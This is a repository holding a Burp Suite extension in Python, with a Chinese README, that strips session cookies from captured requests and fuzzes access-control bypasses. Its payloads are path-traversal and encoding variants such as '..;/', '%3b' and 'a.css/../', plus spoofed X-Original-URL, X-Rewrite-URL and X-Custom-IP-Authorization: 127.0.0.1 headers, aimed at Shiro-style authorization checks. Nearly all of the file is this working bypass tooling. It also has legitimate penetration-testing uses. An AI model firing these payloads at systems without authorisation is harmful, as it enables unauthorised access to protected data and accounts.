├── 302-IDOR-bypasser.py └── README.md /302-IDOR-bypasser.py: -------------------------------------------------------------------------------- 1 | from burp import IBurpExtender 2 | from burp import IScannerCheck 3 | from burp import IScanIssue 4 | from java.io import PrintWriter 5 | from array import array 6 | 7 | class BurpExtender(IBurpExtender, IScannerCheck): 8 | 9 | # 10 | # implement IBurpExtender 11 | # 12 | 13 | def registerExtenderCallbacks(self, callbacks): 14 | # keep a reference to our callbacks object 15 | self._callbacks = callbacks 16 | 17 | # obtain an extension helpers object 18 | self._helpers = callbacks.getHelpers() 19 | 20 | # set our extension name 21 | callbacks.setExtensionName("302 IDOR Bypasser") 22 | self.stdout = PrintWriter(callbacks.getStdout(), True) 23 | self.stderr = PrintWriter(callbacks.getStderr(), True) 24 | 25 | # register ourselves as a custom scanner check 26 | callbacks.registerScannerCheck(self) 27 | 28 | # helper method to search a response for occurrences of a literal match string 29 | # and return a list of start/end offsets 30 | 31 | def _get_matches(self, sttcode): 32 | #response = self._helpers.bytesToString(response) 33 | if sttcode == 200 or sttcode == 302: 34 | return True 35 | return False 36 | 37 | def doPassiveScan(self, baseRequestResponse): 38 | 39 | # look for matches of our passive check grep string 40 | matches = self._get_matches(self._helpers.analyzeResponse(baseRequestResponse.getResponse()).getStatusCode()) 41 | if matches == False: 42 | return None 43 | 44 | OldReq = self._helpers.bytesToString(baseRequestResponse.getRequest()) 45 | OldReq1 = OldReq.replace("Cookie: ", "text: ") 46 | checkRequestcode1 = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), self._helpers.stringToBytes(OldReq1)) 47 | STT1_CODE = self._helpers.analyzeResponse(checkRequestcode1.getResponse()).getStatusCode() 48 | if STT1_CODE == 200: 49 | return None 50 | 51 | Rurl = self._helpers.analyzeRequest(baseRequestResponse).getUrl().getPath().rstrip("/") 52 | 53 | PreviousPath = '/'.join(str(Rurl).split('/')[:-1]) 54 | LastPath = str(Rurl).split('/')[-1] 55 | self.stdout.println("Scanning: "+Rurl) 56 | 57 | 58 | payloads = ["a.ico/../"+LastPath,"a.css/../"+LastPath,"a.png/../"+LastPath,"aaa/../"+LastPath,"%3b"+LastPath,"%3b/"+LastPath,"//"+LastPath,"%2e/"+LastPath, LastPath+"/.", "./"+LastPath+"/./", LastPath+"%20/", "%20"+LastPath+"%20/", LastPath+"..;/", "img/..;/"+LastPath,"js/..;/"+LastPath,";/"+LastPath,LastPath+"/",LastPath+".json",LastPath+"#",LastPath+"%20",LastPath+";", LastPath+"..;", LastPath+".", LastPath+"%20/","scripts/..;/"+LastPath,"static/..;/"+LastPath] 59 | payloads1 = ["/a.ico/.."+Rurl,"/a.css/.."+Rurl,"/a.png/.."+Rurl,"/aaa/.."+Rurl,"/."+Rurl,Rurl+"/%3b/",Rurl+"/~","/%2e"+Rurl, "/."+Rurl+"/./", "/img/..;"+Rurl,"/;"+Rurl,"/js/..;"+Rurl,"/scripts/..;"+Rurl,"/static/..;"+Rurl,"/;"+Rurl,"/%20"+Rurl,] 60 | hpayloads = ["X-Rewrite-URL: /"+LastPath, "X-Custom-IP-Authorization: 127.0.0.1", "X-Original-URL: /"+LastPath] 61 | results = [] 62 | 63 | for p in payloads: 64 | NewReq = OldReq1.replace(Rurl, PreviousPath+"/"+p) 65 | 66 | checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), self._helpers.stringToBytes(NewReq)) 67 | 68 | STT_CODE = self._helpers.analyzeResponse(checkRequestResponse.getResponse()).getStatusCode() 69 | if STT_CODE == 200: 70 | results.append("Url payload: "+self._helpers.analyzeRequest(checkRequestResponse).getUrl().getPath() + " | Status code: "+str(STT_CODE)) 71 | 72 | 73 | 74 | for hp in hpayloads: 75 | NewReq = OldReq1.replace("User-Agent: ", hp+"\r\n"+"User-Agent: ") 76 | checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), self._helpers.stringToBytes(NewReq)) 77 | STT_CODE = self._helpers.analyzeResponse(checkRequestResponse.getResponse()).getStatusCode() 78 | if STT_CODE == 200: 79 | results.append("Header payload: "+hp + " | Status code: "+str(STT_CODE)) 80 | 81 | for p1 in payloads1: 82 | NewReq = OldReq1.replace(Rurl, p1) 83 | checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), self._helpers.stringToBytes(NewReq)) 84 | 85 | STT_CODE = self._helpers.analyzeResponse(checkRequestResponse.getResponse()).getStatusCode() 86 | if STT_CODE == 200: 87 | results.append("Url payload: "+self._helpers.analyzeRequest(checkRequestResponse).getUrl().getPath() + " | Status code: "+str(STT_CODE)) 88 | 89 | if len(results) == 0: 90 | return None 91 | 92 | return [CustomScanIssue( 93 | baseRequestResponse.getHttpService(), 94 | self._helpers.analyzeRequest(baseRequestResponse).getUrl(), 95 | [self._callbacks.applyMarkers(baseRequestResponse, None, None)], 96 | "302 IDOR Bypass Vuln", 97 | '
'.join(results), 98 | "High")] 99 | 100 | 101 | 102 | def consolidateDuplicateIssues(self, existingIssue, newIssue): 103 | # This method is called when multiple issues are reported for the same URL 104 | # path by the same extension-provided check. The value we return from this 105 | # method determines how/whether Burp consolidates the multiple issues 106 | # to prevent duplication 107 | # 108 | # Since the issue name is sufficient to identify our issues as different, 109 | # if both issues have the same name, only report the existing issue 110 | # otherwise report both issues 111 | if existingIssue.getUrl() == newIssue.getUrl(): 112 | return -1 113 | 114 | return 0 115 | 116 | # 117 | # class implementing IScanIssue to hold our custom scan issue details 118 | # 119 | class CustomScanIssue (IScanIssue): 120 | def __init__(self, httpService, url, httpMessages, name, detail, severity): 121 | self._httpService = httpService 122 | self._url = url 123 | self._httpMessages = httpMessages 124 | self._name = name 125 | self._detail = detail 126 | self._severity = severity 127 | 128 | def getUrl(self): 129 | return self._url 130 | 131 | def getIssueName(self): 132 | return self._name 133 | 134 | def getIssueType(self): 135 | return 0 136 | 137 | def getSeverity(self): 138 | return self._severity 139 | 140 | def getConfidence(self): 141 | return "Certain" 142 | 143 | def getIssueBackground(self): 144 | pass 145 | 146 | def getRemediationBackground(self): 147 | pass 148 | 149 | def getIssueDetail(self): 150 | return self._detail 151 | 152 | def getRemediationDetail(self): 153 | pass 154 | 155 | def getHttpMessages(self): 156 | return self._httpMessages 157 | 158 | def getHttpService(self): 159 | return self._httpService 160 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IDOR-bypass-fuzz 2 | IDOR bypass fuzz 权限绕过burp 插件 fuzz (shiro 等) 3 | 4 | 具体实现:获取所有code:200,302请求, 全部去掉cookie进行请求, 返回码除了200全部进行IDOR fuzz测试,出现返回code:200输出payload。 5 | 6 | ![image](https://user-images.githubusercontent.com/50195525/131288882-17babc23-4c79-49bb-a6f8-63ed6aa7b86b.png) 7 | 8 | 在shiro权限绕过的基础上,又添加了一下fuzz payload, fuzz一下更健康。 9 | 10 | ![image](https://user-images.githubusercontent.com/50195525/131289016-194b9b5f-ca3d-42a7-b244-5c4b70fcbcf5.png) 11 | 12 | 13 | 14 | 在https://github.com/sting8k/BurpSuite_403Bypasser 基础上进行的更改。 15 | --------------------------------------------------------------------------------